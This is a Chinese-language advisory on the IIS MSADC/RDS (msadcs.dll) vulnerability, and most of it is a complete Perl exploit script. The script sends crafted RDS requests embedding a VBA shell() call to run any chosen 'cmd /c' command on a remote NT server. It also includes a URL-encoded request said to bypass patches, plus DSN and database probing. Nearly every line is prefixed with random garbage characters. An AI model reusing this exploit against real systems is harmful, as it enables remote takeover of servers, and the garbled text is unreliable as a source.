IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>e^8fpgSo C3 -I5q(V] 涉及程序：
N7#,x9+E Microsoft NT server
9YV r9BM'K naiy] oY" 描述：
uE^5o\To 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Hr!%L*h? ~NZ}@J{00_ 详细：
|6T"T P 如果你没有时间读详细内容的话，就删除:
t W=oAy c:\Program Files\Common Files\System\Msadc\msadcs.dll
=aCd,4B} 有关的安全问题就没有了。
G4QsR7 4$Ud4< 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
C`b)}dY u=& $Z 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
NY\-p=3c7= 关于利用ODBC远程漏洞的描述，请参看:
Mk| *=#e; WS2@;
8.N http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm YnW,6U['{g (&xIB F_6 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
GpGq' 8|( http://www.microsoft.com/security/bulletins/MS99-025faq.asp ldNWdz VCc57 Bo 这里不再论述。
yYPFk la A3v3* 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
]X<L~s_* L,* # /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8rM1kOCf 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
'OvyQ/T
K?H(jP2mpM Rkh
^|_<! #将下面这段保存为txt文件，然后: "perl -x 文件名"
p0@l58 1 -14~f)%NQ* #!perl
}`D-]/T8. #
w02t9vz # MSADC/RDS 'usage' (aka exploit) script
J%lEyU #
u#`'|ko \9 # by rain.forest.puppy
*>J45U(6: #
&d i=alvv1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
W kSv@Y, # beta test and find errors!
H RW }Yl >|_B=<!99W use Socket; use Getopt::Std;
02mu%|" getopts("e:vd:h:XR", \%args);
8npjQ;%4> ErY-`8U" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!?J?R-C nCPIpw,]M if (!defined $args{h} && !defined $args{R}) {
/*hS0xN* print qq~
:my@Oxx4@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
;BjJ<?^{ -h <host> = host you want to scan (ip or domain)
q-4#)EnW -d <seconds> = delay between calls, default 1 second
?J's>q^X -X = dump Index Server path table, if available
THHA~;00YN -v = verbose
T(iL#2^ -e = external dictionary file for step 5
uoe>T: (5&l<u"K~ Or a -R will resume a command session
ky0,#ZOF Wm>AR? b ~; exit;}
Ng+Ge5C9 XY HVw) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
e3x;( @j if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{6 brVN.V if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,7*-%05[\ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
b@yFqgJ_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
{p M 3f if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Cswa5 l`af ["XS|"D M if (!defined $args{R}){ $ret = &has_msadc;
Eumdv#Qg die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
i*ji (h>+ivf| print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{uji7TB . "cmd /c ";
k80!!S=_> $in=<STDIN>; chomp $in;
Jej-b<HmQ $command="cmd /c " . $in ;
'w!8`LPu V'XvwO@ if (defined $args{R}) {&load; exit;}
OCYC
Dn "RM vWuNt print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
W.VyH|? &try_btcustmr;
)0 xEI a@U0s+V&a0 print "\nStep 2: Trying to make our own DSN...";
NzuH&o][ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
.W q " o;M-M(EZQ6 print "\nStep 3: Trying known DSNs...";
G?QU|<mj< &known_dsn;
/e4#D H +yYSp8> print "\nStep 4: Trying known .mdbs...";
I0]"o#Lj T &known_mdb;
DC8,ns]!y ht@s!5\LK if (defined $args{e}){
B^sHFc""V print "\nStep 5: Trying dictionary of DSN names...";
txW<r8 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{glRX R UON W3}- print "Sorry Charley...maybe next time?\n";
~\D
H[Mt exit;
?{M!syD< k7ODQ(*v ##############################################################################
~TEKxgU #3o] Qo[Sc sub sendraw { # ripped and modded from whisker
C/ je5 sleep($delay); # it's a DoS on the server! At least on mine...
t?R=a- ZI my ($pstr)=@_;
\qh
-fW; # socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
mQ]wLPP{1 die("Socket problems\n");
x#s=eeP1 if(connect(S,pack "SnA4x8",2,80,$target)){
hV4\#K[ select(S); $|=1;
a,U@ !}K print $pstr; my @in=<S>;
8{Id+Q>Vo, select(STDOUT); close(S);
6 X.lncE@p return @in;
$S0eERg a } else { die("Can't connect...\n"); }}
(G:K?o) $k&}{c8P ##############################################################################
#Zy-X_r Y8yRQ z u sub make_header { # make the HTTP request
a>{b'X^LV my $msadc=<<EOT
MJ:>ZRXC E POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7 VwLyy User-Agent: ACTIVEDATA
'of5v6:8 Host: $ip
&]2z)& a Content-Length: $clen
,lly=OhKb Connection: Keep-Alive
(~ >L \]! zu
Jl #3YP ADCClientVersion:01.06
wbaX Rvg Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*R6n +d &G>EBKn\2` --!ADM!ROX!YOUR!WORLD!
Jy X7I,0 Content-Type: application/x-varg
kGZ_/"iuO Content-Length: $reqlen
G;%Pf9 o26 f uxBoB EOT
\KaWR ; $msadc=~s/\n/\r\n/g;
6QOdd 6_d return $msadc;}
{ A2SG#} = e)[?{H ##############################################################################
* QF3l0& <E|K<}W# sub make_req { # make the RDS request
S)0bu(a`Z, my ($switch, $p1, $p2)=@_;
C ||A[JOS my $req=""; my $t1, $t2, $query, $dsn;
Hop$w | W B<yA1 if ($switch==1){ # this is the btcustmr.mdb query
e,}]K'!t $query="Select * from Customers where City=" . make_shell();
{ t$
vsR $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2dr [0tE $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.wD>0Ig q(Y<cJ?X elsif ($switch==2){ # this is general make table query
OT9\K_ $query="create table AZZ (B int, C varchar(10))";
J(\"\ Z $dsn="$p1";}
}V3 p < _= _]Yx elsif ($switch==3){ # this is general exploit table query
b-{\manH $query="select * from AZZ where C=" . make_shell();
'wAO Y $dsn="$p1";}
*a@pZI0' TIV 1?S elsif ($switch==4){ # attempt to hork file info from index server
v?yH j- $query="select path from scope()";
=De%]]> $dsn="Provider=MSIDXS;";}
[e d%"f @$~ BU;kR elsif ($switch==5){ # bad query
,$habq=; $query="select";
~4wbIE_r N $dsn="$p1";}
9BGPq) # $.}fL;BzVz $t1= make_unicode($query);
?J+[|*'yK $t2= make_unicode($dsn);
bu RXzSR $req = "\x02\x00\x03\x00";
ctOC. $req.= "\x08\x00" . pack ("S1", length($t1));
Dsq sMlB{ $req.= "\x00\x00" . $t1 ;
9 jiZtwRpk $req.= "\x08\x00" . pack ("S1", length($t2));
)@3ce' $req.= "\x00\x00" . $t2 ;
GG\]}UjX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
)}?'1ciHI return $req;}
<> f Mz<4P3"H ##############################################################################
aT F} *&B*/H AN sub make_shell { # this makes the shell() statement
e+=Oj o# return "'|shell(\"$command\")|'";}
`-4c}T ^" ywltW> ##############################################################################
GD|uU A0M)*9 f sub make_unicode { # quick little function to convert to unicode
3skq%;%Wsk my ($in)=@_; my $out;
b^PYA_k-Xn for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
2"nd(+ QH return $out;}
q+t*3;X. m4ovppC ##############################################################################
'M+iVF6 +J$[RxQ# sub rdo_success { # checks for RDO return success (this is kludge)
3bpbk my (@in) = @_; my $base=content_start(@in);
C$)#s{* if($in[$base]=~/multipart\/mixed/){
qSMST mnQ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
>i]r,j8! return 0;}
PP&AF?C %Md;=,a:6 ##############################################################################
HPp Kti7g hH {&k> sub make_dsn { # this makes a DSN for us
^MUtmzh my @drives=("c","d","e","f");
br <,? print "\nMaking DSN: ";
,a< !d foreach $drive (@drives) {
+"T?., print "$drive: ";
R{@WlkG} my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"sf8~P9qy "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
/l0\SVwa> . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Tm[IOuhM'? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
zF(I#|Vo return 0 if $2 eq "404"; # not found/doesn't exist
+|Xx=1_?BK if($2 eq "200") {
V?HC\F- foreach $line (@results) {
!3 $Ph return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
zXvA W7 } return 0;}
>m T2g GKtG#jZ& ##############################################################################
UL(R/yc N(]6pG= sub verify_exists {
RMmDcvM"k my ($page)=@_;
6\g]Y my @results=sendraw("GET $page HTTP/1.0\n\n");
a7nbGqsx return $results[0];}
k%/Z.4vQG !u~( \ Rb; ##############################################################################
z`xdRe{QP hFZ7{pj sub try_btcustmr {
hPx=3L$ my @drives=("c","d","e","f");
1Xt% O86 my @dirs=("winnt","winnt35","winnt351","win","windows");
yu<sd}@ ,K6s'3O(LW foreach $dir (@dirs) {
tH2y:o 72 print "$dir -> "; # fun status so you can see progress
6 N :fq foreach $drive (@drives) {
}X)mZyM [ print "$drive: "; # ditto
1N1MD@C?P $reqlen=length( make_req(1,$drive,$dir) ) - 28;
,F.\ z^\{ $reqlenlen=length( "$reqlen" );
2ME3= C $clen= 206 + $reqlenlen + $reqlen;
:u ` eL #pS= my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Obrv5 %'
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
>"{3lDy q- else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
tqAh &TW3+ {b "V7vn, ##############################################################################
ON~SZa 6^s=25>p sub odbc_error {
8U*}D~%! my (@in)=@_; my $base;
Nqk*3Q"f my $base = content_start(@in);
c c*A/lD if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ZTVX5"#Q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,mhO\P96ik $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
35?et-=w $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H.hF`n return $in[$base+4].$in[$base+5].$in[$base+6];}
EQ -r print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
{l%O f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
PP.QfY4 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
:&HrOdz G}&B{Ir ##############################################################################
4)!aYvaER -[|R \'i sub verbose {
'0[D-j Er my ($in)=@_;
r;g[<6`!S return if !$verbose;
b\Y<1EV^[ print STDOUT "\n$in\n";}
5(^&0c>P UIi;&[ ##############################################################################
7$b!-I+ a2 *R m>bLI sub save {
>u
,Ac: my ($p1, $p2, $p3, $p4)=@_;
R7r` (c! open(OUT, ">rds.save") || print "Problem saving parameters...\n";
a"EX<6" print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
mFw`LvH?* close OUT;}
SS[jk b
lP@Cn2 ##############################################################################
y>_lxLhmO# n#Q ;b Sw sub load {
{~_X-g5|] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@#hd8_)A. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
'X d_8. @p=<IN>; close(IN);
Ly"u }e $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
~,WG284 $target= inet_aton($ip) || die("inet_aton problems");
Q0K2md_%x print "Resuming to $ip ...";
s!X@ l $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
T!0o( Pp< if($p[1]==1) {
3} @ 3pVS $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<u]M):b3 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
l=ehoyER my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
XZD9vFj1Z if (rdo_success(@results)){print "Success!\n";}
r: ]t9y>$< else { print "failed\n"; verbose(odbc_error(@results));}}
HQJ_:x
Y elsif ($p[1]==3){
S<#>g
s4 if(run_query("$p[3]")){
dQT A^m print "Success!\n";} else { print "failed\n"; }}
n!z7N3Ak> elsif ($p[1]==4){
8 [\F*H if(run_query($drvst . "$p[3]")){
@E;'Ffo print "Success!\n"; } else { print "failed\n"; }}
8yij=T* exit;}
b;G3&R] s!(O7Ub ##############################################################################
d7waBs f n}/?nP\% sub create_table {
~~>`WA\G5, my ($in)=@_;
Fk=Sx<TX $reqlen=length( make_req(2,$in,"") ) - 28;
}Q&zYC]d $reqlenlen=length( "$reqlen" );
&YC Z
L $clen= 206 + $reqlenlen + $reqlen;
s.7\?(Lg my @results=sendraw(make_header() . make_req(2,$in,""));
tj$&89 return 1 if rdo_success(@results);
qWX%[i% my $temp= odbc_error(@results); verbose($temp);
& mwQj<Z return 1 if $temp=~/Table 'AZZ' already exists/;
P'%#B& LZo return 0;}
o81RD#>E) ,' VT75 ##############################################################################
HHVCw7r0 ZeM~13[ sub known_dsn {
HYU-F_|N=
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
$WmB __ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
f y9mS "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
= h5&:?X "banner", "banners", "ads", "ADCDemo", "ADCTest");
.TZ 0F xW &O8vI ,M foreach $dSn (@dsns) {
r9MS,KG8 print ".";
m}Xb #NAF8 next if (!is_access("DSN=$dSn"));
NZT2ni4 if(create_table("DSN=$dSn")){
1<|\df. print "$dSn successful\n";
$d0xJxM if(run_query("DSN=$dSn")){
BNi6I\wa print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_G3L+St print "Something's borked. Use verbose next time\n";}}} print "\n";}
N{+6 V`\ ]JDKoA{S0 ##############################################################################
h0 **[LDH ?R-4uG[( sub is_access {
> -8r|};+ my ($in)=@_;
cPaz- $reqlen=length( make_req(5,$in,"") ) - 28;
wavyREK $reqlenlen=length( "$reqlen" );
S
$j"'K $clen= 206 + $reqlenlen + $reqlen;
qZQB"Q.* my @results=sendraw(make_header() . make_req(5,$in,""));
m nzB90< my $temp= odbc_error(@results);
RJ}%pA4I verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<MK4# I1I return 0;}
B
]*v{?<W lU?8<X ##############################################################################
Pgug!![ (F=/r] Q sub run_query {
7sypU1V6 my ($in)=@_;
PmjN!/ $reqlen=length( make_req(3,$in,"") ) - 28;
,4W~CkLD $reqlenlen=length( "$reqlen" );
9 +1}8"~ $clen= 206 + $reqlenlen + $reqlen;
O q3aboAt my @results=sendraw(make_header() . make_req(3,$in,""));
m8}c(GwcP return 1 if rdo_success(@results);
n[[2<s*YJ my $temp= odbc_error(@results); verbose($temp);
q,;8Ka ) return 0;}
<n4 ?wo Gx)U~L$B ##############################################################################
Yt]Y( A4K8DP sub known_mdb {
C" SG': my @drives=("c","d","e","f","g");
%*bGW' Cw my @dirs=("winnt","winnt35","winnt351","win","windows");
]g] ]\hS my $dir, $drive, $mdb;
cG)U01/ " my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x)+ q$FB x*'2% 3C~ # this is sparse, because I don't know of many
\u4`6EYF ? my @sysmdbs=( "\\catroot\\icatalog.mdb",
eP(|]Rk "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"udA-;!@& "\\system32\\certmdb.mdb",
Dpb prT7_ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
aHR+4m~) :<p3L!?8y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%+pF4f8] "\\cfusion\\cfapps\\forums\\forums_.mdb",
\d)HwO "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
O 'rz "\\cfusion\\cfapps\\security\\realm_.mdb",
'_q&~M{ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
;9MIapfUd( "\\cfusion\\database\\cfexamples.mdb",
ee2k..Tq# "\\cfusion\\database\\cfsnippets.mdb",
YMG~k3Yb "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
5M v<8P~ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
)U|0vr 8: "\\cfusion\\brighttiger\\database\\cleam.mdb",
U{,:-R "\\cfusion\\database\\smpolicy.mdb",
S7v# `# "\\cfusion\\database\cypress.mdb",
S^Mx=KJ G "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
f 7_V ] "\\website\\cgi-win\\dbsample.mdb",
r }S>t~p: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~'#yH#o "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Mni@@W ); #these are just
.;J6)h foreach $drive (@drives) {
uqHI /4 foreach $dir (@dirs){
9Zj9 e foreach $mdb (@sysmdbs) {
> I>=/i^ print ".";
Ir6(EIwx0 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ooA%/ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
6DuA if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Xmny(j)g print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
=G\N1E } else { print "Something's borked. Use verbose next time\n"; }}}}}
GMKY1{ 7`J= PG$A foreach $drive (@drives) {
o_C]O" foreach $mdb (@mdbs) {
9dCf@5] print ".";
jdf3XTw if(create_table($drv . $drive . $dir . $mdb)){
&gdhq~4# print "\n" . $drive . $dir . $mdb . " successful\n";
4+B&/}FDLo if(run_query($drv . $drive . $dir . $mdb)){
,a34=, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
ZH)thd9^b } else { print "Something's borked. Use verbose next time\n"; }}}}
fR&x5Ika0 }
(zml704dI) s 9n_s=w ##############################################################################
nV/;yl4e{
=m-nv XD sub hork_idx {
OrY^ ?E print "\nAttempting to dump Index Server tables...\n";
Ake$M^Bz print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
XK{K FB- $reqlen=length( make_req(4,"","") ) - 28;
uskJ(! $reqlenlen=length( "$reqlen" );
K3^2;j1F Q $clen= 206 + $reqlenlen + $reqlen;
HSj=g}r my @results=sendraw2(make_header() . make_req(4,"",""));
[:M Fx6 if (rdo_success(@results)){
;;
?O S my $max=@results; my $c; my %d;
'FM _5`& for($c=19; $c<$max; $c++){
` InBhU> $results[$c]=~s/\x00//g;
! B/5@P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
AhU $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
B=)tq.Q7 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
~m3Tq.sYrY $d{"$1$2"}="";}
T9?8@p\}( foreach $c (keys %d){ print "$c\n"; }
| t6 :4'] } else {print "Index server doesn't seem to be installed.\n"; }}
y:YJv x6&4 ~o27~R ] ##############################################################################
T4Io+b8 $ 'M35L30 sub dsn_dict {
J+ u z{ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
wBz5_ OFVw while(<IN>){
=sUrSVUeU $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
bScW<DZJ- next if (!is_access("DSN=$dSn"));
Ay|K>8z if(create_table("DSN=$dSn")){
7|DPevrk print "$dSn successful\n";
]--"
K{ if(run_query("DSN=$dSn")){
:Izdj*HL;A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E` b<^l` print "Something's borked. Use verbose next time\n";}}}
,56objaE print "\n"; close(IN);}
hQ}y(2A.XI om{aws; ##############################################################################
X\1. ,]O > Yan,Bt{YJ sub sendraw2 { # ripped and modded from whisker
;Dp<|n sleep($delay); # it's a DoS on the server! At least on mine...
ebiOR1)sN my ($pstr)=@_;
| $D`* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
aa&\HDh * die("Socket problems\n");
@DuSii#.S if(connect(S,pack "SnA4x8",2,80,$target)){
~\ U AxB= print "Connected. Getting data";
ozkm Z; open(OUT,">raw.out"); my @in;
S\0?~l" } select(S); $|=1; print $pstr;
Zjv eXrx while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
y eWB.M~X close(OUT); select(STDOUT); close(S); return @in;
T:g=P@ } else { die("Can't connect...\n"); }}
cd.|> *n_7~ZX ##############################################################################
bE1 @RL >{eGSSG0 sub content_start { # this will take in the server headers
I(va;hG<o my (@in)=@_; my $c;
UF;iw for ($c=1;$c<500;$c++) {
P( 1Z if($in[$c] =~/^\x0d\x0a/){
&d=ZCaP if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
j7qGZ "8ak else { return $c+1; }}}
EttQ<z_T return -1;} # it should never get here actually
"bA8NQIP ;o W ak`]f ##############################################################################
\*\ )zj*r >#|%y>g .o sub funky {
w0,rF WS my (@in)=@_; my $error=odbc_error(@in);
u5A$VRMN if($error=~/ADO could not find the specified provider/){
+K:hetv print "\nServer returned an ADO miscofiguration message\nAborting.\n";
/^':5"=o exit;}
)26_7.| if($error=~/A Handler is required/){
Pk^W+M_)~ print "\nServer has custom handler filters (they most likely are patched)\n";
dPmNX-'7 exit;}
\s_`ZEB if($error=~/specified Handler has denied Access/){
c}mWAZ=wF print "\nServer has custom handler filters (they most likely are patched)\n";
c;7`]}fGu exit;}}
dReJ;x4 p* tAwl ##############################################################################
tjbI*Pw7( b 2XUZ5 sub has_msadc {
d[y(u<Vl my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
F1NYpCR my $base=content_start(@results);
2! ";?E return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
}\]J?I+ A return 0;}
@WICAC= Mcqym8,q|3 ########################
1(jDBP!8 >=d%t6 %( fu{.Ir 解决方案：
T*qSk! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
2-_d~~O1N 2、移除web 目录: /msadc
